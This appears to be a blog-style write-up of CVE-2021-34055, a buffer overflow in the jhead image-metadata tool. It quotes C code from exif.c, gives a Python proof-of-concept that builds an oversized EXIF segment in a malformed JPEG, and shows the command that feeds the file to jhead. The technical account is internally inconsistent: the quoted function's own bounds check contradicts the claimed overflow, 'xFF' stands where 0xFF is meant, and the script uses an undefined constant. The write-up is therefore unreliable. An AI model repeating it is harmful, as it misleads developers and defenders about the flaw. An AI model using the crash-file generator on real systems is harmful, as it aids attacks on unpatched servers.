CVE-2021-34055 is a significant vulnerability impacting the popular image metadata tool, jhead, specifically in version 3.06. This vulnerability allows an attacker to cause a buffer overflow in the Put16u function inside the exif.c source file. In this article, we'll break down how this flaw happens, what it means for users, and walk through a simple exploitation scenario. We'll also look into the code, point you to the original sources, and explain everything in plain, easy-to-understand terms.

What Is jhead?

jhead is a utility for manipulating EXIF headers in JPEG images. Many users and applications leverage it for quickly editing or extracting metadata from images.

Where the Bug Lurks

The core issue comes down to insecure buffer handling in the function responsible for writing 16-bit unsigned values within EXIF data structures. This happens in the file exif.c, specifically inside the function Put16u.

Here’s a basic look at the vulnerable code (from the official jhead source):

void Put16u(int value, Section_t *Section)
{
    if (Section->Size + 2 > MAX_SECTION_DATA) {
        ErrFatal("Section data overflow", NULL);
    }
    Section->Data[Section->Size++] = (value >> 8) & xFF;
    Section->Data[Section->Size++] = value & xFF;
}

The function writes 2 bytes to Section->Data.

- The only check is that Section->Size + 2 > MAX_SECTION_DATA. If this is true, it throws a fatal error.

So, What’s Wrong?

The function does not correctly validate or limit the input for all calls to Put16u. In some call paths, user-controlled input (malformed image data) can cause Section->Size to become higher than intended, letting the attacker write beyond the buffer — a classic buffer overflow.

How Can This Be Exploited?

If an attacker can supply a specially crafted JPEG file that’s designed to trigger this bug, they could overwrite program memory. Depending on the system, this can:

Enable arbitrary code execution (allowing malware injection).

- Possibly open a privilege escalation vector, especially dangerous if jhead is run as root (e.g., on servers automatically processing images).

Step-By-Step: Simple Exploit Example

Below is a conceptual example using a malformed JPEG file. This is for educational use only!

1. Create a Malformed JPEG

You'll need a JPEG with manipulated EXIF data so that when processed, it exceeds the buffer in Section->Data.

Basic skeleton in Python

# This is an illustrative sketch only.

with open('malformed.jpg', 'wb') as f:
    # Write normal JPEG header
    f.write(b'\xFF\xD8')  # SOI marker
    # Write a fake EXIF header segment that will trigger buffer overrun
    # For instance, this buffer size could be set high deliberately
    EXIF_header = b'Exif\x00\x00'
    oversized_data = b'A' * (MAX_SECTION_DATA + 10)  # Exceed the safe size!
    segment_length = len(EXIF_header) + len(oversized_data) + 2
    f.write(b'\xFF\xE1')  # APP1 marker
    f.write(segment_length.to_bytes(2, 'big'))  # Write length
    f.write(EXIF_header + oversized_data)
    # End of image marker
    f.write(b'\xFF\xD9')


Note: You'd need to adjust MAX_SECTION_DATA to match jhead's actual value (typically 64KB).

2. Run jhead Against the Malicious File

jhead malformed.jpg

3. Observe the Crash (Or More…)

Depending on your environment, jhead may crash (SIGSEGV), or worse, allow execution of code you control.

Responsible Disclosure & Patch

The jhead author was notified, and later versions patched this flaw. If you're using jhead 3.06 or earlier, you should upgrade immediately to >= 3.07.

- Official homepage: https://www.sentex.ca/~mwandel/jhead/
- GitHub Security Advisory: GHSA-q8hj-w8qg-4x88
- CVE details: CVE-2021-34055 at NVD

References

- CVE-2021-34055 on NVD
- jhead homepage
- GitHub Security Advisory for jhead

Conclusion

CVE-2021-34055 is a critical reminder to always validate buffers — especially in code processing untrusted files! If you’re using jhead 3.06, update now, do not wait. Developers using libraries or utilities that handle image metadata should always review and test for safe memory operations.

Stay safe and always keep your software up to date!

Timeline

Published on: 11/04/2022 17:15:00 UTC
Last modified on: 02/03/2023 19:50:00 UTC